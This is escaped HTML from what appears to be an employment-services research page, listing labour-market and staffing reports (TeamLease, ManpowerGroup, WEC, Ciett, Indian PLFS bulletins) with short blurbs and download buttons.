        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Employment Outlook Report Q2: Jul - Sep, 2022-23
          &lt;/h5&gt;
          &lt;p&gt;The TeamLease Employment Outlook Report is a forward looking tool for human resource professionals, policy
            and
            decision makers, reflecting hiring sentiment across 14 cities and 23 sectors in India. This report carries
            “Intent to
            Hire”
            statistics for Q-2, 2022-23 [Jul, 2022 – Sep, 2022] on the basis of the survey and analysis carried out
            during April and
            May, 2022.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            ManpowerGroup Employment Outlook Survey Q22022 Global Report
          &lt;/h5&gt;
          &lt;p&gt;In the 60th anniversary edition of the ManpowerGroup Employment Outlook Survey of more than 41,000
            employers, 6 of the
            40 countries report higher intentions than the previous quarter. Employers around the world are still
            expecting to
            expecting
            to hire more workers in the second quarter of 2022, reporting a seasonally adjusted, Net Employment Outlook
            of +29%.
            Hiring intentions considerably increased year-over-year with moderate decrease quarter-over-quarter, +20%
            and -7%,
            respectively.

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Professional Staffing – Digital Employment Trend Report FY 2021-22 by TeamLease Digital
          &lt;/h5&gt;
          &lt;p&gt;
            Industry 4.0 – the technological/digital transformation of Telecom, Engineering, and Healthcare sectors – is
            leading to
            a surge in the hiring of software, big tech and data professionals across the three sectors. Market demand
            and
            competitive considerations are necessitating the induction of tech talent in the fair measure in
            conventional domain
            functions.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Randstad inclusion without exception
          &lt;/h5&gt;
          &lt;p&gt;
            Randstad’s approach to the study was centered around understanding the underlying sentiments of the
            respondents, beyond
            just the presence or absence of policies and provisions at the workplace. Through in-depth qualitative
            interviews with
            LGBTQ+ members, actively employed in corporate roles, we gathered experiences of individuals, nature of
            their
            interactions with other members at work and finer behavioural nuances.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Digital convulsion leads the way by TeamLease Digital
          &lt;/h5&gt;
          &lt;p&gt;
            Teamlease Digital’s recent study reveals that India’s IT-BPM will grow from 4.47M to 4.85M by March 2022 at
            7.5% growth
            and contractual headcount will grow from 126,461 to 148,211 which is about 17% growth over the last year.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
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          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            ManpowerGroup Employment Outlook Survey Q4 2021 Global Report
          &lt;/h5&gt;
          &lt;p&gt;
            Employers in all 43 countries report stronger hiring intentions year-over-year with 14 reporting Outlooks at
            a ten-year
            high according to the latest ManpowerGroup Employment Outlook Survey (NYSE: MAN) of nearly 45,000 employers.
            Finding
            skilled talent remains a top challenge for employers globally – 69% report difficulty filling vacancies – a
            15-year high
            for the second consecutive quarter. To overcome this 67% are offering greater flexibility; both in work
            schedules and
            where work gets done while 41% are investing in training, skills development and mentoring.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            India government’s free vaccination drive creates a promising impact on job market and on overall economy,
            says a survey
            by Genius Consultants Ltd.
          &lt;/h5&gt;
          &lt;p&gt;
            The COVID-19 pandemic continues to be a worrisome situation that has created havoc and disrupted lives as we
            knew it. In
            an attempt to understand the effect of the free vaccination drive rolled out by the government,
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            All in the mind: The state of mental health in Corporate India
          &lt;/h5&gt;
          &lt;p&gt;
            Since the COVID crisis started, employees’ mental health concerns have risen in the country and worldwide.
            The pandemic
            has brought to the fore this serious concern across the world,
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Teamlease Employment Outlook Report INTENT TO HIRE Q1: April - June, 2021
          &lt;/h5&gt;
          &lt;p&gt;
            Comprehensive overview of the mechanics of hiring, job growth, job creation, salaries, and their drivers,
            trends, and
            forecasts across 14 cities and 21 sectors in India
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            ManpowerGroup Employment Outlook Survey India Q2 - India
          &lt;/h5&gt;
          &lt;p&gt;
            The ManpowerGroup Employment Outlook Survey for the second quarter 2021 was conducted by interviewing a
            representative
            sample of 2,375 employers in India.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
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          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Adecco- The Global Talent Competitiveness Index 2015-16
          &lt;/h5&gt;
          &lt;p&gt;
            GTCI report, ‘Talent Attraction and International Mobility’, focuses the attention of readers on key
            dimensions of
            talent competitiveness that are critical for the ability of countries to chart a sustainable course between
            economic,
            social and political imperatives.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
          &lt;img class=&quot;mt-30&quot; src=&quot;assets/images/research/report-img.png&quot; alt=&quot;&quot;&gt;
          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Teamlease- EMPLOYMENT OUTLOOK REPORT HY-2, 2015-16
          &lt;/h5&gt;
          &lt;p&gt;
            Comprehensive overview of the mechanics of hiring, job growth, salaries and their drivers, trends and
            forecasts across
            top cities and top sectors in India.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Kelly India 2015/16 Salary Guide
          &lt;/h5&gt;
          &lt;p&gt;
            Kelly Services is pleased to present the 2015/16 India Salary Guide. The salary ranges in this Guide are
            based on actual
            transactions between employers and employees of Kelly Services India and represent a reflection of the job
            marketplace.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Manpower Employment Outlook Survey India Q1 2016
          &lt;/h5&gt;
          &lt;p&gt;
            The Manpower Employment Outlook Survey for the first quarter 2016 was conducted by interviewing a
            representative sample
            of
            5,065 employers in India.

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Randstad Award Country Report 2015
          &lt;/h5&gt;
          &lt;p&gt;
            The Randstad Award is presented each year to the most attractive employer in 23 countries across the Globe.
            It’s not
            just another prize for the trophy cabinet because the winner is based on the outcome of the world’s largest
            survey into
            employer branding.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;


  &lt;/div&gt;
&lt;/div&gt;


&lt;div id=&quot;Wec&quot; style=&quot;display:none;&quot; class=&quot;tabcnt col-lg-12 pr-40 md-pr-15 md-mb-50 order-2 order-lg-1 order-md-1 &quot;&gt;
  &lt;!-- &lt;h2 class=&quot;text-center&quot;&gt;Advocacy&lt;/h2&gt; --&gt;
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      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Social Impact Report 2022
          &lt;/h5&gt;
          &lt;p&gt;The World Employment Confederation is the voice of the private employment services industry at a global
            level,
            representing national federations as well as workforce solutions companies from across the world. Members of
            the World
            Employment Confederation represent a wide range of HR services, including agency work, direct recruitment,
            career
            management, Recruitment Process Outsourcing (RPO) and Managed Service Provider (MSP)

          &lt;/p&gt;

        &lt;/div&gt;
        &lt;!-- --&gt;
      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Global Labour Market Fact Sheet 2022
          &lt;/h5&gt;
          &lt;p&gt;This Labour Market Fact Sheet is developed by the World Employment Confederation, gathering statistics from
            various
            international organisations, such as the International Labour Organization (ILO), the World Bank and the
            Organisation
            for Economic Cooperation and Development (OECD).

            Download
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Economic Report 2022
          &lt;/h5&gt;
          &lt;p&gt;The Economic Report 2021 of the World Employment Confederation shows that the private employment services
            industry
            wherein multiple industries are articulating in a speed of growth. Since 2021 agency work markets rapidly
            recovered from
            much of the losses from 2020.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Economic Report 2021
          &lt;/h5&gt;
          &lt;p&gt;The Economic Report 2021 of the World Employment Confederation shows that the private employment services
            industry
            stands ready to support businesses and workers in this crisis and in the recovery.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;

    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            The Future of Jobs Report 2020
          &lt;/h5&gt;
          &lt;p&gt;The Future of Jobs Report provides the timely insights needed to orient labour markets and workers towards
            opportunity
            today and in the future of work.
            To download the report,&lt;a href=&quot;#&quot;&gt; click here &lt;/a&gt;
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            WEC 2020 Economic Report
          &lt;/h5&gt;
          &lt;p&gt;The Economic Report 2020 of the World Employment Confederation shows that private employment services faced
            an
            increasingly difficult operating environment in 2018 but nevertheless experienced positive growth in most of
            the
            segments. With a global turnover of €473 billion and nearly 58 million people placed in jobs, this continued
            growth
            demonstrates the need for the sector’s services and the positive value they bring to labour markets
            worldwide.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            WEC 2019 Economic Report
          &lt;/h5&gt;
          &lt;p&gt;WEC has released 2019 Economic Report! With a recorded €457 billion of global sales revenue (13%
            year-on-year growth
            rate) and 53 million individuals placed in employment through a network of 165,000 agencies, indicators
            paint a
            satisfactory picture of our industry for 2017 and demonstrates how the services that our industry provides
            are
            increasingly sought after and contribute to positive labour market outcomes.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            PAI Report - 2016
          &lt;/h5&gt;
          &lt;p&gt;
            PAI 2016 ranked the states of India on the basis of 10 broad themes, spread across 25 focus subjects and
            focusing on 68
            individual indicators. The report also incorporates a study on Sentiment Analysis.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;

    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            PAI Report - 2017
          &lt;/h5&gt;
          &lt;p&gt;
            PAI 2017 was similar to PAI 2016 and had 10 themes, 26 focus subjects and 82 indicators. It also included a
            new study on
            Inequality, which focuses on the extent of the gap existing between the various strata of society from an
            economic,
            social and gender perspectives.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett PA Report - May 2013
          &lt;/h5&gt;
          &lt;p&gt;
            The next ILO Interna tional Labour Conference (ILC) will take place from 5 to 20 June 2013, in Geneva. There
            will be 3
            main discussion themes during the conference , and for each the ILO has prepared a background document. The
            themes are:
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett Public Affairs Report - April 2013
          &lt;/h5&gt;
          &lt;p&gt;
            A Ciett/Eurociett delegation including Annemarie Muntz (Eurociett President), Bettina Schaller (Adecco
            Group) , Even
            Hagelien (NHO, Norwegian member of Eurociett) and Sandro Pettineo (Ciett/Eurociett Policy Advisor) took part
            in the 9 th
            European Regional Meeting of the ILO, which took place on 8 – 11 April 2013 in Oslo, Norway.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Oslo declaration April 2013
          &lt;/h5&gt;
          &lt;p&gt;
            At our last Meeting, held in Lisbon in February 2009, we were in the midst of a severe economic crisis with
            rising
            unemploym ent, uncertainty and negative impacts on large numbers of workers and enterprises.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett Public Affairs Report - March 2013
          &lt;/h5&gt;
          &lt;p&gt;
            The 201 3 Ciett Economic report is now available to download here . It provides a comprehensive overview of
            the private
            employment services across the world, with data collected from 43 countries across every region.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Adapting to change, (Courtesy: CIETT-BCG)
          &lt;/h5&gt;
          &lt;p&gt;
            How private employment services facilitate adaptation to change, better labour markets and decent work

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;

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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            2013 02 01 - Ciett-Eurociett Response to the public consultation ERA
          &lt;/h5&gt;
          &lt;p&gt;
            Response to the public consultation on the draft guidance for the Employment &amp; Recruitment Agencies Sector
            on
            implementing the UN Guiding Principles on Business and Human Rights

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett PA Report Feb 2013
          &lt;/h5&gt;
          &lt;p&gt;
            On 5 February 2013, Fred van Haasteren , Ciett President, and Sandro Pettineo , Ciett Policy Advisor , met
            with Beate
            Andrees , Head of Special Action Programme to Combat Forced Labour at the ILO Office , to discuss a proposal
            for an ILO
            project to ensure decent work in India, Nepal and Bangladesh .

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett Public Affairs Report - Oct 2012
          &lt;/h5&gt;
          &lt;p&gt;
            Several high – level presentations have been given by Ciett &amp; Eurociett representatives in September and
            October 2012 to
            present and promote the “Way to work” positioning and messages, including national events in Italy, Finland
            and Brazil.
            The feedback received so far as been very positive.

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ciett Public Affairs Report - Sept 2012
          &lt;/h5&gt;
          &lt;p&gt;
            In early September, Eurociett published a comprehensive position paper to respond to the European
            Commission’s
            Communication “Towards a job – rich recovery”, which sets out the employment and social affairs priorities
            for the
            remaining term of the current European Co mmission.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;


&lt;div id=&quot;Others&quot; style=&quot;display:none;&quot; class=&quot;tabcnt col-lg-12 pr-40 md-pr-15 md-mb-50 order-2 order-lg-1 order-md-1 &quot;&gt;
  &lt;!-- &lt;h2 class=&quot;text-center&quot;&gt;Advocacy&lt;/h2&gt; --&gt;
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        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Release of PLFS Quarterly Bulletin for the quarter April – June 2022-reg
          &lt;/h5&gt;
          &lt;p&gt;The present Quarterly Bulletin in the fifteenth in the series for the quarter April – June 2022. Labour
            Force
            Participation Rate (LFPR) is calculated at 57.2% across age groups. The distribution of workers in the 3
            categories are
            classified as 1) self employed at 39.2%, 2) regular wage or salaried employee at 48.6% and 3) casual labour
            at 12.1%.
            Download the report to read in full.
          &lt;/p&gt;

        &lt;/div&gt;
        &lt;!-- --&gt;
      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ministry of Statistics and Program Implementation - PLFS Quarterly Bulletin, December, 2020
          &lt;/h5&gt;
          &lt;p&gt;The present Quarterly Bulletin in the ninth in the series for the quarter October- December 2020. At the
            all-India
            level, in the urban areas, a total number of 5,563 FSUs (UFS blocks) have been surveyed during the quarter
            October –
            December 2020. The number of urban households surveyed was 43,693 and number of persons surveyed was
            1,71,553 in urban
            areas.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
